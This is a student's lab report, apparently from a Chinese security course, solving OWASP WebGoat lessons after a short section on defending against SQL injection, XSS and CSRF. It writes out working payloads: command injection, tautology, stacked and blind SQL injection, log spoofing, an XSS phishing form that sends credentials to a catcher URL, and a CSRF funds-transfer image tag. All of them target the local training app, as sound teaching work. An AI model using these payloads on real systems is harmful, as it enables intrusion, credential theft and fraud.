目录
基础问题回答
SQL注入攻击原理,如何防御?
- QL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
- 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手:
- 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是SQL注入只对SQL语句的准备(编译)过程有破坏作用,而 PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对SQL语句进行解析准备,因此也就避免了SQL注入问题;
- 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
- 采用字符串过滤的方法;
- JSP中调用该函数检查是否包含非法字符,防止SQL从URL注入。
XSS攻击的原理,如何防御?
- XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
- XSS的防御可以从以下两方面来进行:
- 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;
- 检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
CSRF攻击原理,如何防御?
- 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
- 对于CSRF的防御也可以从以下几个方面入手:
- 通过referer、token或者验证码来检测用户提交;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
- 避免全站通用的cookie,严格设置cookie的域。
实验步骤
WebGoat基础配置
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。
WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
- 下载
webgoat-container-7.0.1-war-exec.jar
:https://github.com/WebGoat/WebGoat/releases?after=8.0.0
- 开启WebGoat,在终端中输入命令:
java -jar webgoat-container-7.0.1-war-exec.jar
- 当出现INFO:Starting ProtocolHandler ["http-bio-808"]时可开始下一步操作。
localhost:8080/webgoat
我们登陆一哈
- 突然发现
java
运行于debian的jdk不相符合,好吧那我们只能根据需求再重新配置一下jdk
了。链接十分详细的说明了环境的配置方式,在此就不多赘述了。 - 配置完了发现左侧功能菜单多了好多东西喔
Injection Flaws:注入缺陷攻击实践
- 通常我们有以下两种注入手段:
- 提前闭合正常代码,输入恶意代码
- 处理由于闭合正常代码留下的尾巴
Command Injection:命令注入
- 技术概念:
- 命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
- 这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。这节课将为学员展示几个参数注入的例子。
- “清洗”所有输入数据总是不错的做法,尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。
- 原理:
- 在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
- 目标:
- 能够在目标主机上执行任何系统命令。
- 实践:
- 右键点击复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
- 康康哦都记录下来了
- 本来想抓抓图就结束但是应实验报告的要求每一个小quiz都尽可能多做一点文字叙述吧。因为在
terminal
下可以看见我们在webgoat
上面的所有操作,所以可以看见我们在这个小quiz里面更改了submit的传输值并且点击了view页面跳转至/lesson_content.jsp页面下。
Numeric SQL Injection:数字型 SQL 注入
- 原理:在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station = [station]
- 下面的表单允许用户查看天气数据。请通过注入SQL字符串的方式查看所有的天气数据。
- 实践:
- 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1:
- 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1:
- 成功了!
Log Spoofing:日志欺骗
- 主题:
- 本节课程将教会我们如何使用障眼法。
- 原理:
- 这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 目标:
- 灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。
- 升级我们的攻击,例如:在日志文件中插入脚本。
- 实践:
- 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:
- 本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行:
- 我们在这里注入回车(0D%)和换行符(%0A)。在 username中填入webgoat%0d%0aLogin Succeeded for username: admin,这样就完成了该课程:
- 感觉这是一个闯关游戏lmao
String SQL Injection:字符串型注入
- 原理:
- 基于以下查询语句构造自己的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
- 基于以下查询语句构造自己的SQL注入字符串。
- 目标:
- 下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
- 实践:
- 正常查询结果应该只有员工Smith的信息:
- 根据我们的经验,将""提前闭合,插入永真式然后注释掉后面的东东应该就可以了,因此输入以下两个代码之一即可完成本课程内容:
Smith' or 1=1 --' or 1=1 --
- 正常查询结果应该只有员工Smith的信息:
- 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈裂开了
LAB: SQL Injection:SQL注入小实验
- 原理:
- 应用程序会将我们我们的输入带入后台的SQL查询语句。
- Stage 1: String SQL Injection:字符串型注入
- 目标:
使用SQL注入绕过认证。
- 目标:
- 实践:
以用户Neville登录,还是以永真式的形式输入密码Smith' or '1' = '1:
这个地方密码长度有限制,我们先改一下密码长度然后在输入永真式 - 顺风顺水XD
Numeric SQL Injection:数字型 SQL 注入
- 目标:
- 执行SQL注入绕过认证;
- 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户,浏览其BOSS的账户信息。
- 实践:
首先使用用户名Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
: - 在多行文本框中被选中的员工Larry Stooge(employee)上右键审查网页元素,可以看到此处是用员工ID作为索引来传送数据的,感觉这里的数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个咱们应该在员工ID101后面给他加上这么一些东西进行SQL注入排序,即:
101 or 1=1 order by salary desc
- 其中
desc
表示使用降序排列。
- all right.soooo funny哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈老板没了
Database Backdoors:数据库后门
- 主题:
- 如何创建数据库后门。
- 原理:
- 数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。
- 目标:
- 我们的目标是学习如何利用查询的脆弱性创建触发器。由于WebGoat使用的是MySQL数据库,不支持触发器,所以该课程不会真正完成。
- 我们的Login ID是101.
- 实践:
- 输入101,得到该用户的信息:
- 输入101,得到该用户的信息:
- 我们发现输入的语句没有验证,很容易进行SQL注入。输入注入语句
101; update employee set salary=10000
(由于要执行两个语句,中间需要用分号分隔):
- 虚拟世界里的百万富翁?怎么有一种打GTA开了作弊器改了金钱数目的快感?
- WebGoat良心地提示我们成功了,但是还没完,我们需要使用以下查询条件,添加触发器:
- done!
Blind Numeric SQL Injection:数字型盲注入
- 原理:
- 某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
- 目标:
- 下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
- 我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int,整型。输入找到的数值并提交,通过本课程。
- 我们的Login ID是101.
- 实践:
- 本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
SELECT * FROM user_data WHERE userid=accountNumber
;
- 本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
- 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:
101 AND 1=1
101 AND 1=2
- 在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 页面提示帐号无效,说明PIN<=10000。不断调整数值,可以缩小判断范围,并最终判断出PIN数值的大小。最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- still got it!
Cross‐Site Scripting (XSS):跨站脚本攻击实践
Phishing with XSS:使用XSS钓鱼
-
技术概念:
- 在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP响应时容易造成XSS。在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
原理:
- 如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。
-
目标:
- 创建一个
form
,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 创建一个
-
实践:
- 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,我们需要结合起来使用:
- 受害人填写一个表格;
- 以读取脚本的形式,将收集到的信息发送给攻击者。
- 一个带用户名和密码输入框的表格如下:
- 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,我们需要结合起来使用:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 搜索这段代码,就能看到页面中增加了一个表单:
- 现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
- 最后,就是要将这两段代码合并。最终需要输入的代码如下:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
- 搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:
Stored XSS Attacks:存储型XSS攻击
- 技术概念:
- 过滤所有用户输入是一个不错的做法,特别是那些后期会被用作OS、脚本或数据库查询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容,例如:可以导致其他用户访问时载入非预期的页面或内容。
- 目标:
- 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 实践:
- 在title中任意输入字符。在内容中输入以下代码:
<script>alert('xss')</script>
或者
<script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script>
点击提交,如图所示:
- 在title中任意输入字符。在内容中输入以下代码:
- 输入还可以获取当前浏览者cookie(虽然本来就没有)。
Cross Site Request Forgery (CSRF):跨站请求伪造攻击实践
- 主题:
- 本节课程将指导我们如何实现跨站请求伪造攻击(CSRF)。
- 原理:
- 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
- 当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。
- 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
- 目标:
- 在这一课中,我们的目的是向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。尝试一个包括1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。我们可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
- 注意:不同WebGoat环境的URL中“Screen”和“Menu”参数可能会有所区别。请使用我们当前访问URL中正在使用的参数。
- 实践:
- 要完成这一课,我们需要在消息框中嵌入HTML代码。这段代码中包含一个图片,链接到一个网站。在HTML中图片的格式是:
<img src="[URL]" width="1" height="1" />
- 创建一个新消息,命名为“Test”,消息中加入这段HTML代码:
<img src="http://localhost:8080/WebGoat/attack?Screen=329&menu=900&transferFunds=5000" width="1" height="1" />
关键在于后面追加的&transferFunds=5000
,她能把受害人的money转走!!! - 其中
Screen
和menu
两个参数的值由课程右栏的Cookies / Parameters
中的Parameters
来确定:
- 要完成这一课,我们需要在消息框中嵌入HTML代码。这段代码中包含一个图片,链接到一个网站。在HTML中图片的格式是:
- 创建一个新的email在title中可以随便输入,然后根据代码在内容里输入上面的代码:
- 消息说如果成功左边会有对号,后面的进一步利用metasploit可以和我们之前课上做的实验相互结合起来。
实验总结与体会
终于做完最后一次实验了!通过这些实验让我更深层次的了解了kali下的渗透实验,以及很多关系windows,html,linux的基础知识,任何事物起源不可空穴来风。进一步了解一个系统,语言的演化系统才能从中汲取精华思想,并为自己所用,发现其中的问题,让我在计算机世界里做一个更加快乐的geek
,也让我在计算机中体验到乐趣